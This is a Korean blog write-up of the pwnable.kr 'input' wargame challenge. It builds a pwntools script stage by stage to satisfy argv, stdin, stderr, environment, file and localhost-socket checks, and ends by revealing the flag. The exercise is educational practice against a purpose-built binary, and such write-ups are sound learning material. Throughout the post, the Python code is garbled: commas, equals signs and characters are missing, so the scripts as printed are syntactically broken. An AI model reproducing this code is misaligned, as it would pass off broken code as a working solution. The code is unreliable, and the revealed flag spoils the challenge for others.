ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • 0x06.pwnable.kr - input
    0x.Wargame/pwnable.kr 2018. 7. 2. 21:49


    0x06.pwnable.kr - input



    Mom? how can I pass my input to a computer program?

    ssh input2@pwnable.kr -p2222 (pw:guest)


    힌트만 보고는 어떤 문제인지 감이 오지않아 원격으로 접속하였다.



    Input.c 소스를 확인해보니 argc가 100개여야 하고, argv['A']와 argv['B']에 정해진 값을 넣어야한다. 이렇게 되면 Stage 1 clear를 할 수 있다.


    stage가 5개로 나누어져 있기에 순서대로 처리하도록 하였다. /home에서 파일을 작성할 수 없기 때문에 /tmp에 임시 폴더를 만들어서 파이썬 스크립트를 작성하였다.


    첫 스테이지의 경우 argc가 100개여야 하고, argv['A'] 와 argv['B'] 부분의 조건을 충족시키면 클리어가 가능하다.

    from pwn import *

    # Stage 1
    payload= [str(ifor in range(100)]
    payload[ord('A')] = "\x00"
    payload[ord('B')] = "\x20\x0a\x0d"


    sprocess(executable='/home/input2/input'argv=payload)
    s.interactive()


    두번째 스테이지의 경우 read함수의 조건을 충족시키면 된다. 첫 조건은 fd 값이 0이므로 사용자로부터 입력 받는 값을 조건식을 통해 확인을 하고, 두 번째 조건은 2이므로 에러 메시지의 내용을 조건식에 충족시키면 클리어가 가능하다.

    from pwn import *

    # Stage 1
    payload= [str(ifor in range(100)]
    payload[ord('A')] = "\x00"
    payload[ord('B')] = "\x20\x0a\x0d"

    # Stage 2
    payload2"\x00\x0a\x00\xff"
    with open('/tmp/pwnwiz/stderr_file''a'asf:
           f.write("\x00\x0a\x02\xff")

    sprocess(executable='/home/input2/input'argv=payloadstderr=open('/tmp/pwnwiz/stderr_file'))

    s.sendline(payload2)

    s.interactive()


    세 번째 스테이지는 환경변수에 등록된 값을 충족시키면 된다.

    from pwn import *

    # Stage 1
    payload= [str(ifor in range(100)]
    payload[ord('A')] = "\x00"
    payload[ord('B')] = "\x20\x0a\x0d"

    # Stage 2
    payload2"\x00\x0a\x00\xff"
    with open('/tmp/pwnwiz/stderr_file''a'asf:
           f.write("\x00\x0a\x02\xff")

    # Stage 3
    payload3= { "\xde\xad\xbe\xef""\xca\xfe\xba\xbe"}

    sprocess(executable='/home/input2/input'argv=payloadstderr=open('/tmp/pwnwiz/stderr_file'), env=payload3)

    s.sendline(payload2)

    s.interactive()


    네 번째 스테이지는 간단하게 \x0a 파일에 해당 값을 써주면 된다.

    from pwn import *

    # Stage 1
    payload= [str(ifor in range(100)]
    payload[ord('A')] = "\x00"
    payload[ord('B')] = "\x20\x0a\x0d"

    # Stage 2
    payload2"\x00\x0a\x00\xff"
    with open('/tmp/pwnwiz/stderr_file''a'asf:
           f.write("\x00\x0a\x02\xff")

    # Stage 3
    payload3= { "\xde\xad\xbe\xef""\xca\xfe\xba\xbe"}

    # Stage 4
    with open('/tmp/pwnwiz/\x0a''a'asf2:
           f2.write("\x00\x00\x00\x00")

    sprocess(executable='/home/input2/input'argv=payloadstderr=open('/tmp/pwnwiz/stderr_file'), env=payload3)

    s.sendline(payload2)

    s.interactive()

    마지막으로 다섯번째 스테이지는 소켓에 대한 처리를 수행해야 되는데, argv['C'] 를 포트번호로 사용하여 소켓을 바인드 한 뒤, 해당 포트가 사용자부로부터 값을 입력받아 그 값이 조건과 일치하는지를 확인한다. 이 과정까지 마무리가 되면 flag를 얻을 수 있다.

    from pwn import *

    # Stage 1
    payload= [str(ifor in range(100)]
    payload[ord('A')] = "\x00"
    payload[ord('B')] = "\x20\x0a\x0d"

    # Stage 2
    payload2"\x00\x0a\x00\xff"
    with open('/tmp/pwnwiz/stderr_file''a'asf:
           f.write("\x00\x0a\x02\xff")

    # Stage 3
    payload3= { "\xde\xad\xbe\xef""\xca\xfe\xba\xbe"}

    # Stage 4
    with open('/tmp/pwnwiz/\x0a''a'asf2:
           f2.write("\x00\x00\x00\x00")

    # Stage 5
    payload[ord('C')] = "12345"

    sprocess(executable='/home/input2/input'argv=payloadstderr=open('/tmp/pwnwiz/stderr_file'), env=payload3)

    s.sendline(payload2)

    rremote("localhost"12345)
    r.sendline("\xde\xad\xbe\xef")

    s.interactive()


    위 코드를 실행시켜보았더니 Stage는 무사히 클리어 되지만 flag파일때문에 EOF 에러가 발생하여서 심볼릭 링크를 생성하였다.


    다시 파이썬 스크립트를 돌려보면 'Mommy! I learned how to pass various input in Linux :)' 라는 flag를 확인할 수 있다.

    '0x.Wargame > pwnable.kr' 카테고리의 다른 글

    0x08.pwnable.kr - mistake  (0) 2018.07.04
    0x07.pwnable.kr - leg  (0) 2018.07.04
    0x05.pwnable.kr - random  (0) 2018.07.02
    0x04.pwnable.kr - passcode  (0) 2018.07.02
    0x03.pwnable.kr - flag  (0) 2018.07.02

    댓글

Designed by Tistory.